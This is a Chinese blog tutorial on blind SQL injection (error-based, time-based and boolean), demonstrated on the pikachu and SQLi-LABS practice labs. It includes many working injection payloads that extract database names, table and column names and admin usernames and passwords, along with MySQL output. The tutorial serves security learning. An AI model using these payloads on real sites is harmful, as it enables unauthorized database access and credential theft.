WEB漏洞-SQL注入之报错盲注

心已赠人 2023-09-23 22:31 261阅读 0赞

一、导图

e29433d34b9740ef8d2d6a1e204a335c.png

e8b57265a6b0433282a46154543ca995.png

二、引论

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

三、SQL语句在网站中的应用

1.select查询数据

  1. 在网站应用中进行数据显示查询操作
  2. 例: select * from news where id=$id
  3. 例: select id,email from member where username='$name'

2.insert插入数据

  1. 在网站应用中进行用户注册添加等操作
  2. 例: insert into news (id, url,text) values ( 2'x','$t')

3.delete删除数据

  1. 后台管理里面删除文章删除用户等操作
  2. 例: delete from news where id=$id

4.update更新数据

  1. 会员或后台中心数据同步或缓存等操作
  2. 例: update user set pwd='$p' where id=2 and username=' admin'

5.order by排序数据

  1. 一般结合表名或列名进行数据排序操作
  2. 例: select * from news order by $id
  3. 例: select id , name , price from news order by $order

6.总结

可以通过以上查询方式与网站应用的关系来判断注入点产生地方,或猜测到网站的SQL查询方式。

7.实例

比如此网站在进行登录时需要填写账号和密码。

0311e811333d4156a2313403715d09e8.png

在注册页面需要填写昵称和密码,此步骤就相当于将相关信息写入到网站的数据库中,就相当于进行了使用insert语句执行了插入数据操作。

aefbda35fff849f2b8b70314d761876f.png

四、SQL注入—-盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。

此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

  1. 盲注分为以下三类:
  2. 1.基于报错的sQL盲注-报错回显
  3. floor, updatexml, extractvalue
  4. 2.基于布尔的sQL盲注-逻辑判断
  5. regexp, like , ascii,left, ord , mid
  6. 3.基于时间的sQL盲注-延时判断
  7. if ,sleep

参考链接:

  • sql报错注入:extractvalue、updatexml报错原理

  • 12种报错注入+万能语句

1.报错盲注-报错回显

以下实例来自于pikachu靶场

insert报错盲注

947ea1c5f6a043db9f7d5887cadccf3c.png

ffea04eb6fdf4620be3edc82bd074421.png

74f7d3d6c5304df3bbd6d5dbc8958785.png

2642f1c9fb5f4a15a0da0e5c03513ac2.png

28eb59cab0b743e6be167c9a602b3a2f.png

update报错盲注

362d1535eb524371957a660822ad5aa1.png

f8f05981eb3b420b896729d1f6d5ae18.png

delete报错盲注

cfe4fcd0efb0410b9dbcb76adfcd5b66.png

29b757a780684c418b615aaf0a8c5607.png

注意:在数据包内填写地址的时候空格要换成“+”或者“20%”,防止其与后面的内容混淆。

279c14e08476468898acdd6d04d4486a.png

2.时间盲注实例-延时判断

此方法可不需要回显,根据返回时间可以进行数据库的猜解。

但是在实际渗透过程中由于受到网络的影响时间注入不是很靠谱,而且比较费时间。

以下实例来自于SQLi-LABS靶场

  1. 参考:
  2. sleep(5) #SQL语句延时执行5秒
  3. if(Condition,A,B) #当Condition为真时,返回A;当Condition为假时,返回B
  4. like 'ro%' #判断ro或ro...是否成立
  5. regexp '^ceshi[a-z]' #匹配ceshi及ceshi...等
  6. mid(a,b,c) #从位置b(从1开始)开始,截取a字符串的c位
  7. substr(a,b,c) #从位置b(从1开始)开始,截取a字符串的c长度
  8. left(a,b) #从左侧截取a字符串的前b位
  9. length(database())=8 #判断数据库database()名的长度
  10. limit a,b #a(从0开始)表示查询数据的起始位置,b表示返回的数量
  11. ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

4d8b99a6ff03464593ec4d7397f59af5.png

sleep语句

  1. mysql> select * from member where id = 1;
  2. +----+----------+----------------------------------+-----+-------------+---------+-------------------+
  3. | id | username | pw | sex | phonenum | address | email |
  4. +----+----------+----------------------------------+-----+-------------+---------+-------------------+
  5. | 1 | vince | e10adc3949ba59abbe56e057f20f883e | boy | 18626545453 | chain | vince@pikachu.com |
  6. +----+----------+----------------------------------+-----+-------------+---------+-------------------+
  7. 1 row in set (0.00 sec)
  8. mysql> select * from member where id = 1 and sleep(1);
  9. Empty set (1.00 sec)
  10. mysql> select * from member where id = 1 and sleep(2);
  11. Empty set (2.00 sec)
  12. mysql> select * from member where id = 1 and sleep(5);
  13. Empty set (5.00 sec)

if语句

  1. mysql> select if(database()='a',123,456);
  2. +----------------------------+
  3. | if(database()='a',123,456) |
  4. +----------------------------+
  5. | 456 |
  6. +----------------------------+
  7. 1 row in set (0.00 sec)
  8. mysql> select if(database()='pikachu',123,456);
  9. +----------------------------------+
  10. | if(database()='pikachu',123,456) |
  11. +----------------------------------+
  12. | 123 |
  13. +----------------------------------+
  14. 1 row in set (0.00 sec)

if+sleep语句

  1. mysql> select * from member where id=1 and sleep(if(database()='a',5,0));
  2. Empty set (0.00 sec)
  3. mysql> select * from member where id=1 and sleep(if(database()='pikachu',5,0));
  4. Empty set (5.00 sec)
  5. 语句的意思是如果数据库名是pikachu就延迟5秒输出,不是的话就立即返回。

b60c9af27ece479989f5cea95397b0b7.png

6fafb37244b940c6b233243f765b2b65.png

sleep+if+length

  1. 127.0.0.1:8080/sglilabs/less-2/?id=1%20and%20sleep(if(length(database())=1,5,0))--+
  2. 127.0.0.1:8080/sglilabs/less-2/?id=1%20and%20sleep(if(length(database())=8,5,0))--+
  3. 语句的意思是如果数据库名是8位就延迟5秒输出,不是的话就立即返回。

65110c3a298f4217bc0aec61b7e7c12e.png

70edb84d12694ca49f36410119cfda94.png

sleep+if+mid

  1. 127.0.0.1:8080/sglilabs/less-2/?id=1%20and%20sleep(if(mid(database(),1,1)=%27a%27,5,0)--+
  2. 127.0.0.1:8080/sglilabs/less-2/?id=1%20and%20sleep(if(mid(database(),1,1)=%27s%27,5,0)--+
  3. 语句的意思是如果数据库的第一位是s就延迟5秒输出,不是的话就立即返回。

afb37ab4458948c98f636c50daa7dd1d.png

sleep+if+ascii+limit+substr

  1. http://127.0.01:8080/sqlilabs/less-2/?id=1 and if (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
  2. 语句的意思是如果数据库的第一个表名的第一位的ascii码是101就延迟5秒输出,不是的话就立即返回。

6a58d1050a764bdebee563e2eff1a228.png


  1. mysql> show tables;
  2. +--------------------+
  3. | Tables_in_security |
  4. +--------------------+
  5. | emails |
  6. | referers |
  7. | uagents |
  8. | users |
  9. +--------------------+
  10. 4 rows in set (0.00 sec)
  11. mysql> select * from users where id=1 and if (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0);
  12. Empty set (3.00 sec)
  13. mysql> select * from users where id=1 and if (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),0);
  14. Empty set (0.00 sec)
  15. mysql> select * from users where id=1 and if (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100,sleep(3),0);
  16. Empty set (0.00 sec)

3.布尔盲注实例-逻辑判断

布尔型(逻辑型)是计算机里的一种数据类型,只有True(真)和False(假)两个值。

页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。

  1. 参考:
  2. mid(str,start,length) #字符串截取
  3. ORD() #转换成ascii码
  4. Length() #统计长度
  5. version() #查看数据库版本
  6. database() #查看当前数据库名
  7. user() #查看当前用户

以下实例来自于SQLi-LABS靶场

判断版本号。

  1. mysql> select version()
  2. +-----------+
  3. | version() |
  4. +-----------+
  5. | 5.5.53 |
  6. +-----------+
  7. 1 row in set(0.00 sec)

判断版本号的前一位(第一位)是不是“5”。

6e0ef0f8ea6344838b739738d100703c.png

判断版本号的第二位是不是“.”———错误判断方法(应将第一位也写入)。

8721bd3a13224137899ef9e41ffa5411.png

判断版本号的第三位是不是“5”,应该将已经判断出来的第一、二位也写入,判断其前三位。

df731a7ed5f54d3d878ccd5538439869.png

判断数据库名的前两位是不是“se”

24cb338489e9414298e3d6d3424518df.png

8348cd24328b449bb1d4efcd5cfc1876.png


猜解获取数据库长度

  1. ' or length(database()) > 8 --+ #符合条件返回正确,反之返回错误--->1

猜解数据库名

  1. 'or mid(database(),1,1)= 'z' --+ #因为需要验证的字符太多,所以转化为ascii码验证--->1
  2. 'or ORD(mid(database(),1,1)) > 100 --+ #通过确定ascii码,从而确定数据库名--->2

猜解表的总数

  1. 'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 1 --+ #判断表的总数--->2
  2. 'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+ #判断表的总数--->1

猜解表名的长度

  1. 'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 4 --+ #判断第一个表的表名长度为4--->2
  2. 'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+ #判断第一个表的表名长度为5--->1
  3. 'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ #判断第二个表的表名长度为5--->2

猜解第一个表的表名

  1. 'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = 'a' --+ #通过字母判断--->1
  2. 'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1)) >100 --+ #通过ascii码判断--->2

猜解表的字段的总数(列数)

  1. 'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+ #判断表名长度大于5--->1

猜解第一个字段的长度(列名的长度)

  1. 'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 9 --+ #判断表的第一列长度为9--->2
  2. 'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+ #判断表的第一列长度为10--->1
  3. 'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ #判断表的第二列长度为10--->2

猜解第一个字段名(列名)

  1. 'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+ #通过字母判断--->1
  2. 'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) < 100 --+ #通过ascii码判断--->2

直接猜解字段名(列名)

  1. ' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+ #判断第二列的列名为username--->1

猜解内容长度

  1. 假如已经知道字段名分别为idusernamepassword
  2. 'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+ #判断内容长度--->1

猜解内容

  1. 'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+ #通过字母判断--->1
  2. 'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ #通过ascii码判断--->2

直接猜测内容

  1. 'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456' --+ #判断username为admin,password为123456--->1

发表评论

表情:
评论列表 (有 0 条评论,261人围观)

还没有评论,来说两句吧...

相关阅读

    相关 dnslog注入_dnslog

    dnslog注入原理通过子查询,将内容拼接到域名内,让load\_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函